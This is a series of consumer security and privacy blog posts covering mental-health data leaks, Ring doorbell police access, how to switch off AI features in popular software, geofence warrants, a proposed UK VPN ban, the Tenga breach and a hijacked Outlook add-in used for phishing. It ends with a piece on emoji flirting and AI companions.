Back in 2020, Julius Kivimäki hacked the database of the Finnish psychotherapy clinic Vastaamo, making off with the records of 33 000 patients. When the clinic refused to cough up a €400 000 ransom, Kivimäki began sending direct threats to patients: “Pay €200 in Bitcoin within 24 hours, or else your records go public”. Ultimately, he leaked the entire database onto the dark web anyway. At least two people died by suicide, and the clinic was forced into bankruptcy. Kivimäki was eventually sentenced to six years and three months in prison, marking a record-breaking trial in Finland for the sheer number of victims involved.
In 2023, the U.S. Federal Trade Commission (FTC) slapped the online therapy giant BetterHelp with a US$7.8 million fine. Despite stating on their sign-up page that your data was strictly confidential, the company was caught funneling user info — including mental health questionnaire responses, emails, and IP addresses — to Facebook, Snapchat, Criteo, and Pinterest for targeted advertising. After the dust settled, 800 000 affected users received a grand total of… US$10 each in compensation.
By 2024, the FTC set its sights on the telehealth firm Cerebral, tagging them with a US$7 million fine. Through tracking pixels, Cerebral leaked the data of 3.2 million users to LinkedIn, Snapchat, and TikTok. The haul included names, medical histories, prescriptions, appointment dates, and insurance info. And the cherry on top? The company sent promotional postcards (sans envelopes) to 6000 patients, which effectively broadcasted that the recipients were undergoing psychiatric treatment.
In September 2024, security researcher Jeremiah Fowler stumbled upon an exposed database belonging to Confidant Health, a provider specializing in addiction recovery and mental health services. The database contained audio and video recordings of therapy sessions, transcripts, psychiatric notes, drug test results, and even copies of driver’s licenses. In total, 5.3 terabytes of data, 126 000 files, or 1.7 million records were sitting there without a password.
Why anonymity is an illusion
Developers love to drop the line: “We never share your personal data with anyone.” Technically, that might be true — instead, they share “anonymized profiles”. The catch? De-anonymizing that data isn’t exactly rocket science anymore. Recent research highlights that using LLMs to strip away anonymity has become a routine reality.
Even the “anonymization” process itself is often a mess. A study by Duke University revealed that data brokers are openly hawking the mental health data of Americans. Out of 37 brokers surveyed, 11 agreed to sell data linked to specific diagnoses (like depression, anxiety, and bipolar disorder), demographic parameters, and in some cases, even names and home addresses. Prices started as low as US$275 for 5000 aggregated records.
According to the Mozilla Foundation, by 2023, 59% of popular mental health apps failed to meet even the most basic privacy standards, and 40% had actually become less secure than the previous year. These apps allowed account creation via third-party services (like Google, Apple, and Facebook), featured suspiciously brief privacy policies that glossed over data collection details, and employed a clever little loophole: some privacy policies applied strictly to the company’s website, but not the app itself. In short, your clicks on the site were “protected”, but your actions within the app were fair game.
How to protect yourself
Cutting these apps out of your life entirely is, of course, the most foolproof option — but it’s not the most realistic one. Besides, there’s no guarantee you can actually nuke the data already collected — even if you delete your account. We previously covered the grueling process of scrubbing your info from data broker databases; it’s possible, but prepare for a headache. So, how can you stay safe?
Check permissions before you hit “Install”. In Google Play, navigate to App description → About this app → Permissions. A mood tracker has no business asking for access to your camera, microphone, contacts, or precise GPS location. If it does, it’s not looking out for your well-being — it’s harvesting data.
Actually read the privacy policy. We get it — nobody reads these multi-page manifestos. But when a service is vacuuming up your most intimate thoughts, it’s worth a skim. Look for the red flags: does the company share data with third parties? Can you manually delete your records? Does the policy explicitly cover the app itself, or just the website? You can always feed the policy text into an AI and ask it to flag any privacy deal-breakers.
Check the last updated date. An app that hasn’t seen an update in over six months is likely a playground for unpatched vulnerabilities. Remember: six out of the 10 apps Oversecured tested hadn’t been touched in months.
Disable everything non-essential in your phone’s privacy settings. Whenever prompted, always select “ask not to track”. When an app pleads with you to enable a specific type of tracking — claiming it’s for “internal optimization” — it’s almost always a marketing ploy rather than a functional necessity. After all, if the app truly won’t work without a certain permission, you can always go back and toggle it on later.
Don’t use “Sign in with…” services. Authenticating via Facebook, Apple, Google, or Microsoft creates additional identifiers and gives companies a golden opportunity to link your data across different platforms.
Treat everything you type like a public social media post. If you wouldn’t want a random stranger on the internet reading it, you probably shouldn’t be typing it into an app with over 150 vulnerabilities that hasn’t seen a patch since the year before last.
What else you should know about privacy settings and controlling your personal data online:
On February 8, during the Super Bowl in the United States, countless owners of one of the most popular smart products today got a bit of a wakeup call: Their Ring doorbells could be used to see a whole lot more than they knew.
In a commercial that was broadcast to one of most reliably enormous audiences in the country, Amazon, which owns the company Ring, promoted a new feature for its smart doorbells called “Search Party.” By scouring the footage of individual Ring cameras across a specific region, “Search Party” can implement AI-powered image recognition technology to find, as the commercial portrayed it, a lost dog. But immediately after the commercial aired, people began wondering what else their Ring cameras could be used to find.
“Ring’s Super Bowl ad exposed a scary truth: the technology in its doorbell cameras could be used to hunt down a lost pet…or a person. Amazon must discontinue its dystopian monitoring features.”
These “dystopian monitoring features” aren’t entirely new, but that’s not to say that most Ring owners knew what they were allowing when they originally bought their devices.
Bought by Amazon in 2018, Ring is the most popular manufacturer of a product that, as of 15 years ago, didn’t really exist. And while other “smart” innovations failed, smart doorbells have become a fixture of American neighborhoods, providing a mixture of convenience and security. For instance, a Ring owner away from home can verify and buzz in their mailman dropping off a package behind a gated entrance. Or, a Ring owner can see on their phone that the person knocking at their door is a salesman and choose to avoid talking to them. Or, a Ring owner can help police who are investigating a crime in their area by handing over relevant footage. Even the presence of a Ring doorbell, and its variety of motion-detecting alerts, could possibly serve as a deterrent to crime.
What has seemingly upset so many of those same owners, then, is learning exactly how their personal devices might be used for a company’s gains.
Today, on the Lock and Code podcast with host David Ruiz, we speak with Matthew Guariglia, senior policy analyst at Electronic Frontier Foundation, about Ring’s long history of partnering with—and sometimes even speaking directly for—police, who can access Ring doorbell footage both inside the company and outside it, and what people really open themselves up to when purchasing a Ring device.
”There’s this impression, a myth practically, that ‘I buy a ring doorbell to put on my house, I control the footage… But there is [an] entire secondary use of this device, which is by police that you don’t really get a lot of say in.”
If you don’t go searching for AI services, they’ll find you all the same. Every major tech company feels a moral obligation not just to develop an AI assistant, integrated chatbot, or autonomous agent, but to bake it into their existing mainstream products and forcibly activate it for tens of millions of users. Here are just a few examples from the last six months:
Google activated Gemini for all U.S. Chrome users, cranked its browser functionality to the max, aggressively expanded the reach of AI Overviews in search results, and baked a whole suite of AI features into its online services (Gmail, Google Docs, and others).
Apple integrated its own Apple Intelligence (conveniently sharing the AI acronym) into the latest OS versions across all device types and most of its native apps.
On the flip side, geeks have rushed to build their own “personal Jarvises” by renting VPS instances or hoarding Mac minis to run the OpenClaw AI agent. Unfortunately, OpenClaw’s security issues with default settings turned out to be so massive that it’s already been dubbed the biggest cybersecurity threat of 2026.
Beyond the sheer annoyance of having something shoved down your throat, this AI epidemic brings some very real practical risks and headaches. AI assistants hoover up every bit of data they can get their hands on, parsing the context of the websites you visit, analyzing your saved documents, reading through your chats, and so on. This gives AI companies an unprecedentedly intimate look into every user’s life.
A leak of this data during a cyberattack — whether from the AI provider’s servers or from the cache on your own machine — could be catastrophic. These assistants can see and cache everything you can, including data usually tucked behind multiple layers of security: banking info, medical diagnoses, private messages, and other sensitive intel. We took a deep dive into how this plays out when we broke down the issues with the AI-powered Copilot+ Recall system, which Microsoft also planned to force-feed to everyone. On top of that, AI can be a total resource hog, eating up RAM, GPU cycles, and storage, which often leads to a noticeable hit to system performance.
For those who want to sit out the AI storm and avoid these half-baked, rushed-to-market neural network assistants, we’ve put together a quick guide on how to kill the AI in popular apps and services.
How to disable AI in Google Docs, Gmail, and Google Workspace
Google’s AI assistant features in Mail and Docs are lumped together under the umbrella of “smart features”. In addition to the large language model, this includes various minor conveniences, like automatically adding meetings to your calendar when you receive an invite in Gmail. Unfortunately, it’s an all-or-nothing deal: you have to disable all of the “smart features” to get rid of the AI.
To do this, open Gmail, click the Settings (gear) icon, and then select See all settings. On the General tab, scroll down to Google Workspace smart features. Click Manage Workspace smart feature settings and toggle off two options: Smart features in Google Workspace and Smart features in other Google products. We also recommend unchecking the box next to Turn on smart features in Gmail, Chat, and Meet on the same general settings tab. You’ll need to restart your Google apps afterward (which usually happens automatically).
How to disable AI Overviews in Google Search
You can kill off AI Overviews in search results on both desktops and smartphones (including iPhones), and the fix is the same across the board. The simplest way to bypass the AI overview on a case-by-case basis is to append -ai to your search query — for example, how to make pizza -ai. Unfortunately, this method occasionally glitches, causing Google to abruptly claim it found absolutely nothing for your request.
If that happens, you can achieve the same result by switching the search results page to Web mode. To do this, select the Web filter immediately below the search bar — you’ll often find it tucked away under the More button.
A more radical solution is to jump ship to a different search engine entirely. For instance, DuckDuckGo not only tracks users less and shows little ads, but it also offers a dedicated AI-free search — just bookmark the search page at noai.duckduckgo.com.
How to disable AI features in Chrome
Chrome currently has two types of AI features baked in. The first communicates with Google’s servers and handles things like the smart assistant, an autonomous browsing AI agent, and smart search. The second handles locally more utility-based tasks, such as identifying phishing pages or grouping browser tabs. The first group of settings is labeled AI mode, while the second contains the term Gemini Nano.
To disable them, type chrome://flags into the address bar and hit Enter. You’ll see a list of system flags and a search bar; type “AI” into that search bar. This will filter the massive list down to about a dozen AI features (and a few other settings where those letters just happen to appear in a longer word). The second search term you’ll need in this window is “Gemini“.
After reviewing the options, you can disable the unwanted AI features — or just turn them all off — but the bare minimum should include:
AI Mode Omnibox entrypoint
AI Entrypoint Disabled on User Input
Omnibox Allow AI Mode Matches
Prompt API for Gemini Nano
Prompt API for Gemini Nano with Multimodal Input
Set all of these to Disabled.
How to disable AI features in Firefox
While Firefox doesn’t have its own built-in chatbots and hasn’t (yet) tried to force upon users agent-based features, the browser does come equipped with smart-tab grouping, a sidebar for chatbots, and a few other perks. Generally, AI in Firefox is much less “in your face” than in Chrome or Edge. But if you still want to pull the plug, you’ve two ways to do it.
The first method is available in recent Firefox releases — starting with version 148, a dedicated AI Controls section appeared in the browser settings, though the controls are currently a bit sparse. You can use a single toggle to completely Block AI enhancements, shutting down AI features entirely. You can also specify whether you want to use On-device AI by downloading small local models (currently just for translations) and configure AI chatbot providers in sidebar, choosing between Anthropic Claude, ChatGPT, Copilot, Google Gemini, and Le Chat Mistral.
The second path — for older versions of Firefox — requires a trip into the hidden system settings. Type about:config into the address bar, hit Enter, and click the button to confirm that you accept the risk of poking around under the hood.
A massive list of settings will appear along with a search bar. Type “ML” to filter for settings related to machine learning.
To disable AI in Firefox, toggle the browser.ml.enabled setting to false. This should disable all AI features across the board, but community forums suggest this isn’t always enough to do the trick. For a scorched-earth approach, set the following parameters to false (or selectively keep only what you need):
ml.chat.enabled
ml.linkPreview.enabled
ml.pageAssist.enabled
ml.smartAssist.enabled
ml.enabled
ai.control.translations
tabs.groups.smart.enabled
urlbar.quicksuggest.mlEnabled
This will kill off chatbot integrations, AI-generated link descriptions, assistants and extensions, local translation of websites, tab grouping, and other AI-driven features.
How to disable AI features in Microsoft apps
Microsoft has managed to bake AI into almost every single one of its products, and turning it off is often no easy task — especially since the AI sometimes has a habit of resurrecting itself without your involvement.
How to disable AI features in Edge
Microsoft’s browser is packed with AI features, ranging from Copilot to automated search. To shut them down, follow the same logic as with Chrome: type edge://flags into the Edge address bar, hit Enter, then type “AI” or “Copilot” into the search box. From there, you can toggle off the unwanted AI features, such as:
Enable Compose (AI-writing) on the web
Edge Copilot Mode
Edge History AI
Another way to ditch Copilot is to enter edge://settings/appearance/copilotAndSidebar into the address bar. Here, you can customize the look of the Copilot sidebar and tweak personalization options for results and notifications. Don’t forget to peek into the Copilot section under App-specific settings — you’ll find some additional controls tucked away there.
How to disable Microsoft Copilot
Microsoft Copilot comes in two flavors: as a component of Windows (Microsoft Copilot), and as part of the Office suite (Microsoft 365 Copilot). Their functions are similar, but you’ll have to disable one or both depending on exactly what the Redmond engineers decided to shove onto your machine.
The simplest thing you can do is just uninstall the app entirely. Right-click the Copilot entry in the Start menu and select Uninstall. If that option isn’t there, head over to your installed apps list (Start → Settings → Apps) and uninstall Copilot from there.
In certain builds of Windows 11, Copilot is baked directly into the OS, so a simple uninstall might not work. In that case, you can toggle it off via the settings: Start → Settings → Personalization → Taskbar→ turn off Copilot.
If you ever have a change of heart, you can always reinstall Copilot from the Microsoft Store.
It’s worth noting that many users have complained about Copilot automatically reinstalling itself, so you might want to do a weekly check for a couple of months to make sure it hasn’t staged a comeback. For those who are comfortable tinkering with the System Registry (and understand the consequences), you can follow this detailed guide to prevent Copilot’s silent resurrection by disabling the SilentInstalledAppsEnabled flag and adding/enabling the TurnOffWindowsCopilot parameter.
How to disable Microsoft Recall
The Microsoft Recall feature, first introduced in 2024, works by constantly taking screenshots of your computer screen and having a neural network analyze them. All that extracted information is dumped into a database, which you can then search using an AI assistant. We’ve previously written in detail about the massive security risks Microsoft Recall poses.
Under pressure from cybersecurity experts, Microsoft was forced to push the launch of this feature from 2024 to 2025, significantly beefing up the protection of the stored data. However, the core of Recall remains the same: your computer still remembers your every move by constantly snapping screenshots and OCR-ing the content. And while the feature is no longer enabled by default, it’s absolutely worth checking to make sure it hasn’t been activated on your machine.
To check, head to the settings: Start → Settings → Privacy & Security →Recall & snapshots. Ensure the Save snapshots toggle is turned off, and click Delete snapshots to wipe any previously collected data, just in case.
How to disable AI in Notepad and Windows context actions
AI has seeped into every corner of Windows, even into File Explorer and Notepad. You might even trigger AI features just by accidentally highlighting text in an app — a feature Microsoft calls “AI Actions”. To shut this down, head to Start → Settings → Privacy & Security → Click to Do.
Notepad has received its own special Copilot treatment, so you’ll need to disable AI there separately. Open the Notepad settings, find the AI features section, and toggle Copilot off.
Finally, Microsoft has even managed to bake Copilot into Paint. Unfortunately, as of right now, there is no official way to disable the AI features within the Paint app itself.
How to disable AI in WhatsApp
In several regions, WhatsApp users have started seeing typical AI additions like suggested replies, AI message summaries, and a brand-new Chat with Meta AI button. While Meta claims the first two features process data locally on your device and don’t ship your chats off to their servers, verifying that is no small feat. Luckily, turning them off is straightforward.
To disable Suggested Replies, go to Settings → Chats → Suggestions & smart replies and toggle off Suggested replies. You can also kill off AI Sticker suggestions in that same menu. As for the AI message summaries, those are managed in a different location: Settings → Notifications → AI message summaries.
How to disable AI on Android
Given the sheer variety of manufacturers and Android flavors, there’s no one-size-fits-all instruction manual for every single phone. Today, we’ll focus on killing off Google’s AI services — but if you’re using a device from Samsung, Xiaomi, or others, don’t forget to check your specific manufacturer’s AI settings. Just a heads-up: fully scrubbing every trace of AI might be a tall order — if it’s even possible at all.
In Google Messages, the AI features are tucked away in the settings: tap your account picture, select Messages settings, then Gemini in Messages, and toggle the assistant off.
Broadly speaking, the Gemini chatbot is a standalone app that you can uninstall by heading to your phone’s settings and selecting Apps. However, given Google’s master plan to replace the long-standing Google Assistant with Gemini, uninstalling it might become difficult — or even impossible — down the road.
If you can’t completely uninstall Gemini, head into the app to kill its features manually. Tap your profile icon, select Gemini Apps activity, and then choose Turn off or Turn off and delete activity. Next, tap the profile icon again and go to the Connected Apps setting (it may be hiding under the Personal Intelligence setting). From here, you should disable all the apps where you don’t want Gemini poking its nose in.
Apple’s platform-level AI features, collectively known as Apple Intelligence, are refreshingly straightforward to disable. In your settings — on desktops, smartphones, and tablets alike — simply look for the section labeled Apple Intelligence & Siri. By the way, depending on your region and the language you’ve selected for your OS and Siri, Apple Intelligence might not even be available to you yet.
Other posts to help you tune the AI tools on your devices:
Google has weighed in on a court case that will decide the future of a powerful but contentious tool for law enforcement. The company submitted an opinion to the US Supreme Court arguing that geofence warrants are unconstitutional.
A geofence warrant is a form of “reverse warrant” that turns a regular warrant on its head. Police get a regular warrant when they want to target a particular person. With a reverse warrant, police don’t know exactly who they’re looking for. Instead, they ask someone (typically a technology company) for a broad data set about a group of unknown people based on some common behavior. Then they analyze that data set for potential suspects.
With a geofence warrant, that data set is defined by a location and a time window. Law enforcement officials obtain a list of phones that were in that area during that period. Every device that was inside the circle comes back in the results, even if nobody on that list has been suspected of anything. Proximity is the only criterion.
That’s how Okello Chatrie was charged with armed bank robbery in Virginia in 2019: His phone showed up in a geofence warrant covering 17.5 acres (larger than three football fields). He argued that this kind of search isn’t constitutional and shouldn’t have been used as evidence.
In 2024, the Fifth Circuit Court of Appeals agreed with him, overturning a Fourth Circuit ruling. Now prosecutors have taken the case to the Supreme Court, with parties due to make oral arguments on April 27.
The case has seen a flurry of amicus curiae briefs, which are opinions from interested expert parties that have no direct involvement in the case. One of these is from Google, which on Monday urged the justices to consider the geofence warrants unconstitutional because of their broad scope. It has objected to more than 3,000 of them on constitutional grounds in recent months.
Google’s brief stated:
“Many of these overbroad warrants swept in hundreds, sometimes even thousands, of innocent people. State and federal courts have repeatedly granted Google’s motions to quash these overbroad warrants.”
How the database gets built
Although Google is just one of many organizations that filed amicus briefs, its position is especially notable because it has historically collected so much location data. Its Timeline feature (formerly Location History) logs device position via GPS, Wi-Fi networks, Bluetooth, and mobile signals, including when Google apps aren’t being used, according to its policy page.
At the time of the Chatrie warrant, it was recording position as frequently as every two minutes. All of that fed a centralised internal database which held 592 million individual accounts. So responding to any geofence request required Google to search essentially the entire store before producing a single name, according to an analysis by privacy advocacy group EPIC, which also regularly submits amicus briefs on privacy cases.
Google moved Timeline storage from its own servers onto users’ devices in July 2025, closing the door to fresh cloud-based requests against its own systems. But the constitutional question survives for historical data and for any company that has not followed suit.
The warrant that grew and grew
A geofence warrant does not stay fenced, according to a separate brief that the Center for Democracy and Technology (CDT) filed in the case last week. It said Google’s standard response to warrants had three steps. First it would deliver an anonymized list of devices inside the geofence. Then, police could ask for movement data on chosen “devices of interest,” which could track them outside the geographic boundary and beyond the original time window. Finally, again without any further judicial approval, police could ask for subscriber-identifying information for whichever devices police chose to unmask.
In the Chatrie case, positioning data was imprecise enough that, as the district court found, the warrant may have included devices outside the intended area. According to the CDT brief:
“The Geofence Warrant could have captured the location of someone who was hundreds of feet outside the geofence.”
The CDT argues in its brief that this can expose the privacy of people going about their everyday lives, engaging in legal activities that they might not want others to know about. The warrant that scooped up Chatrie included a hotel and a restaurant.
Some of these requests are far broader. Google successfully challenged a warrant asking for the location history of anyone in large portions of San Francisco for two and a half days, it said. Google complained in its brief:
“No court would authorize a physical search of hundreds of people or places, yet geofence warrants sometimes do so by design.”
What can you do to stop yourself getting swept up in a geofencing search?
If your phone stores detailed location history with Google, that data may be included in geofence warrant responses. Limiting what gets saved can reduce how much location information exists in the first place.
There are two Google settings that matter: Timeline (Location History) and Web & App Activity. Turning off one does not automatically disable the other.
Timeline stores a detailed record of where your device has been, although it’s off by default. Web & App Activity can also log location signals when you use Google services like Search, Maps, or other apps.
Google provides instructions on how to review and disable these settings in its support documentation:
Google has previously settled lawsuits accusing it of misleading users about how location data is stored across these settings, so reviewing both controls is important.
Reverse warrants may not stop at location data
The implications of the case extend well past maps, though. The CDT brief warns that if courts endorse the logic behind geofence warrants, then law enforcement may try to apply the same approach to other large datasets held by technology companies, such as AI chatbot data. That’s a step the DHS has already taken, issuing what has been reported as the first known warrant for ChatGPT user data.
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The idea of a “Great British Firewall” makes for a catchy headline, but it would be riddled with holes and cause huge problems.
The Guardian reports that the GCHQ (Government Communications Headquarters), a UK intelligence, security, and cyber agency, is exploring the idea of a British firewall offering protection against malicious hackers. It falls within its remit, but one of the measures reportedly discussed—banning VPN software—raises practical and technical questions.
Here’s what you actually need to know, and why you shouldn’t panic about your VPN just yet.
There are no current plans on the statute books to ban VPNs for everyone. Ministers and regulators explicitly acknowledge VPNs as lawful services with legitimate uses.
The current political focus is on “online safety”, especially kids accessing porn and harmful content, and how VPNs can undermine the Online Safety Act’s age‑assurance and filtering regime.
The latest move is an online‑safety consultation that explicitly mentions “options to age-restrict or limit children’s VPN use where it undermines safety protections”, not an outright nationwide ban.
So what may happen is tighter controls around minors, and perhaps pressure on app stores and platforms, rather than a blanket prohibition for adults.
Options
Technically speaking, these are some of the measures available to address VPNs bypassing geo-blocking and local legislation.
App‑store and download pressure: Require Apple/Google to hide or age‑gate VPN apps for UK accounts, or block listing of some consumer VPNs. This raises friction for non‑technical users but is trivial to route around (sideloading where possible, non‑UK stores, manual configs).
Commercial provider lists: Buy accounts at popular VPNs, enumerate exit IP ranges, and require ISPs or certain sites (e.g. porn sites) to block those IPs. This can catch a large chunk of mainstream VPN traffic but is high‑maintenance and easy to evade with IP rotation, residential proxies, self‑hosted VPNs, and lesser‑known services.
Targeted site‑level blocking of VPNs: Require certain categories of sites (e.g. adult sites) to reject traffic that appears to come from VPN IPs, an idea already floated by some experts as more likely than an outright technology ban. That still leaves VPNs usable for everything else, including general browsing and work.
Age‑based device/network controls: Mandate school networks, child‑oriented devices, or parental control routers to block known VPN endpoints and app traffic, as media regulator Ofcom and others have suggested may be possible at the home‑router level. Again, this targets minors rather than adults and is only as strong as the weakest network they connect to (a friend’s Wi‑Fi, mobile hotspot, etc.).
All of these are “making it harder” tactics rather than a hard technical kill switch.
Why a watertight VPN ban is essentially impossible
To comprehensively block VPNs, the government would need to require internet providers to inspect traffic, restrict apps from app stores, and attempt to cut off access to thousands of VPN servers worldwide. That would be a massive, expensive, and deeply complicated undertaking—and it still wouldn’t work.
Problem 1: VPNs are basically invisible
Modern VPNs are designed to look very similar to normal web browsing. When you load a website over HTTPS (the padlock in your browser) and when you connect to a VPN, the traffic flowing through your internet connection looks almost identical. Reliably telling them apart is a bit like trying to spot which cars on a motorway are taxis versus private vehicles based solely on their tire tread patterns at motorway speed, for every car, in real time. You’d end up accidentally blocking huge amounts of perfectly ordinary internet traffic in the attempt.
Problem 2: Too many legitimate users depend on VPNs
VPNs aren’t just for privacy-conscious consumers. They’re how millions of people securely connect to their workplace from home. The NHS (the UK’s National Health Service) uses them for remote access. Journalists use them to protect sources. Researchers use them to access academic resources. Any serious enforcement effort would have to grapple with the risk of collateral damage to businesses and public services.
Problem 3: The ban would be trivially easy to bypass
Even if the government successfully blocked every major commercial VPN app and service, technically skilled users could simply rent a cheap server anywhere in the world and set up their own private tunnel in under ten minutes. There are also tools designed to evade exactly this kind of blocking, disguising encrypted traffic as ordinary web activity.
We know this because Russia has been trying to block VPNs for years, using the full weight of state enforcement behind it. But VPN usage in Russia has surged, not declined. Blocked services pop up under new names and addresses and new tools emerge overnight. This track record suggests that long-term, comprehensive suppression is difficult, even with aggressive powers of enforcement.
What does this actually mean for UK citizens?
The government can probably make consumer VPN use slightly more inconvenient, removing apps from UK app stores, for instance, or creating legal grey areas for certain uses. But a genuine, technical ban on VPN software and encrypted connections is not realistically achievable without causing serious collateral damage to the UK’s digital economy and the millions of people who depend on this technology for entirely legitimate reasons.
Don’t ditch your VPN. The Great Firewall of Great Britain isn’t coming. And if it tried, it would have more holes than a fishing net.
Tenga confirmed reports published by several outlets that the company notified customers of a data breach.
The Japanese manufacturer of adult products appears to have fallen victim to a phishing attack targeting one of its employees. Tenga reportedly wrote in the data breach notification:
“An unauthorized party gained access to the professional email account of one of our employees.”
This unauthorized access exposed the contents of said account’s inbox, potentially including customer names, email addresses, past correspondence, order details, and customer service inquiries.
In its official statement, Tenga said a “limited segment” of US customers who interacted with the company were impacted by the incident. Regarding the scope of the stolen data, it stated:
“The information involved was limited to customer email addresses and related correspondence history. No sensitive personal data, such as Social Security numbers, billing/credit card information, or TENGA/iroha Store passwords were jeopardized in this incident.”
From the wording of Tenga’s online statement, it seems the compromised account was used to send spam emails that included an attachment.
“Attachment Safety: We want to state clearly that there is no risk to your device or data if the suspicious attachment was not opened. The risk was limited to the potential execution of the attachment within the specific ‘spam’ window (February 12, 2026, between 12am and 1am PT).”
We reached out to Tenga about this “suspicious attachment” but have not heard back at the time of writing. We’ll keep you posted.
Tenga proactively contacted potentially affected customers. It advises them to change passwords and remain vigilant about any unusual activity. We would add that affected customers should be on the lookout for sextortion-themed phishing attempts.
What to do if your data was in a breach
If you think you have been affected by a data breach, here are steps you can take to protect yourself:
Check the company’s advice. Every breach is different, so check with the company to find out what’s happened and follow any specific advice it offers.
Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop, or phone as your second factor. Some forms of 2FA can be phished just as easily as a password, but 2FA that relies on a FIDO2 device can’t be phished.
Watch out for impersonators. The thieves may contact you posing as the breached platform. Check the official website to see if it’s contacting victims and verify the identity of anyone who contacts you using a different communication channel.
Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
Consider not storing your card details. It’s definitely more convenient to let sites remember your card details, but it increases risk if a retailer suffers a breach.
Researchers found a malicious Microsoft Outlook add-in which was able to steal 4,000 stolen Microsoft account credentials, credit card numbers, and banking security answers.
How is it possible that the Microsoft Office Add-in Store ended listing an add-in that silently loaded a phishing kit inside Outlook’s sidebar?
A developer launched an add-in called AgreeTo, an open-source meeting scheduling tool with a Chrome extension. It was a popular tool, but at some point, it was abandoned by its developer, its backend URL on Vercel expired, and an attacker later claimed that same URL.
That requires some explanation. Office add-ins are essentially XML manifests that tell Outlook to load a specific URL in an iframe. Microsoft reviews and signs the manifest once but does not continuously monitor what that URL serves later.
So, when the outlook-one.vercel.app subdomain became free to claim, a cybercriminal jumped at the opportunity to scoop it up and abuse the powerful ReadWriteItem permissions requested and approved in 2022. These permissions meant the add-in could read and modify a user’s email when loaded. The permissions were appropriate for a meeting scheduler, but they served a different purpose for the criminal.
While Google removed the dead Chrome extension in February 2025, the Outlook add-in stayed listed in Microsoft’s Office Store, still pointing to a Vercel URL that no longer belonged to the original developer.
An attacker registered that Vercel subdomain and deployed a simple four-page phishing kit consisting of fake Microsoft login, password collection, Telegram-based data exfiltration, and a redirect to the real login.microsoftonline.com.
What make this work was simple and effective. When users opened the add-in, they saw what looked like a normal Microsoft sign-in inside Outlook. They entered credentials, which were sent via a JavaScript function to the attacker’s Telegram bot along with IP data, then were bounced to the real Microsoft login so nothing seemed suspicious.
The researchers were able to access the attacker’s poorly secured Telegram-based exfiltration channel and recovered more than 4,000 sets of stolen Microsoft account credentials, plus payment and banking data, indicating the campaign was active and part of a larger multi-brand phishing operation.
“The same attacker operates at least 12 distinct phishing kits, each impersonating a different brand – Canadian ISPs, banks, webmail providers. The stolen data included not just email credentials but credit card numbers, CVVs, PINs, and banking security answers used to intercept Interac e-Transfer payments. This is a professional, multi-brand phishing operation. The Outlook add-in was just one of its distribution channels.”
What to do
If you are or ever have used the AgreeTo add-in after May 2023:
Make sure it’s removed. If not, uninstall the add-in.
Change the password for your Microsoft account.
If that password (or close variants) was reused on other services (email, banking, SaaS, social), change those as well and make each one unique.
Review recent sign‑ins and security activity on your Microsoft account, looking for logins from unknown locations or devices, or unusual times.
Review other sensitive information you may have shared via email.
Scan your mailbox for signs of abuse: messages you did not send, auto‑forwarding rules you did not create, or password‑reset emails for other services you did not request.
Watch payment statements closely for at least the next few months, especially small “test” charges and unexpected e‑transfer or card‑not‑present transactions, and dispute anything suspicious immediately.
We don’t just report on threats—we help safeguard your entire digital identity
Cybersecurity risks should never spread beyond a headline. Protect your, and your family’s, personal information by using identity protection.
With both spring and St. Valentine’s Day just around the corner, love is in the air — but we’re going to look at it through the lens of ultra-modern high-technology. Today, we’re diving into how technology is reshaping our romantic ideals and even the language we use to flirt. And, of course, we’ll throw in some non-obvious tips to make sure you don’t end up as a casualty of the modern-day love game.
New languages of love
Ever received your fifth video e-card of the day from an older relative and thought, “Make it stop”? Or do you feel like a period at the end of a sentence is a sign of passive aggression? In the world of messaging, different social and age groups speak their own digital dialects, and things often get lost in translation.
This is especially obvious in how Gen Z and Gen Alpha use emojis. For them, the Loudly Crying Face 😭 often doesn’t mean sadness — it means laughter, shock, or obsession. Meanwhile, the Heart Eyes emoji might be used for irony rather than romance: “Lost my wallet on the way home 😍😍😍”. Some double meanings have already become universal, like 🔥 for approval/praise, or 🍆 for… well, surely you know that by now… right?! 😭
Still, the ambiguity of these symbols doesn’t stop folks from crafting entire sentences out of nothing but emoji. For instance, a declaration of love might look something like this:
🤫❤️🫵
Or here’s an invitation to go on a date:
🫵🚶➡️💋🌹🍝🍷❓
By the way, there are entire books written in emojis. Back in 2009, enthusiasts actually translated the entirety of Moby Dick into emojis. The translators had to get creative — even paying volunteers to vote on the most accurate combinations for every single sentence. Granted it’s not exactly a literary masterpiece — the emoji language has its limits, after all — but the experiment was pretty fascinating: they actually managed to convey the general plot.
This is what Emoji Dick — the translation of Herman Melville’s Moby Dick into emoji — looks like. Source
Unfortunately, putting together a definitive emoji dictionary or a formal style guide for texting is nearly impossible. There are just too many variables: age, context, personal interests, and social circles. Still, it never hurts to ask your friends and loved ones how they express tone and emotion in their messages. Fun fact: couples who use emojis regularly generally report feeling closer to one another.
However, if you are big into emojis, keep in mind that your writing style is surprisingly easy to spoof. It’s easy for an attacker to run your messages or public posts through AI to clone your tone for social engineering attacks on your friends and family. So, if you get a frantic DM or a request for an urgent wire transfer that sounds exactly like your best friend, double-check it. Even if the vibe is spot on, stay skeptical. We took a deeper dive into spotting these deepfake scams in our post about the attack of the clones.
Dating an AI
Of course, in 2026, it’s impossible to ignore the topic of relationships with artificial intelligence; it feels like we’re closer than ever to the plot of the movie Her. Just 10 years ago, news about people dating robots sounded like sci-fi tropes or urban legends. Today, stories about teens caught up in romances with their favorite characters on Character AI, or full-blown wedding ceremonies with ChatGPT, barely elicit more than a nervous chuckle.
In 2017, the service Replika launched, allowing users to create a virtual friend or life partner powered by AI. Its founder, Eugenia Kuyda — a Russian native living in San Francisco since 2010 — built the chatbot after her friend was tragically killed by a car in 2015, leaving her with nothing but their chat logs. What started as a bot created to help her process her grief was eventually released to her friends and then the general public. It turned out that a lot of people were craving that kind of connection.
Replika lets users customize a character’s personality, interests, and appearance, after which they can text or even call them. A paid subscription unlocks the romantic relationship option, along with AI-generated photos and selfies, voice calls with roleplay, and the ability to hand-pick exactly what the character remembers from your conversations.
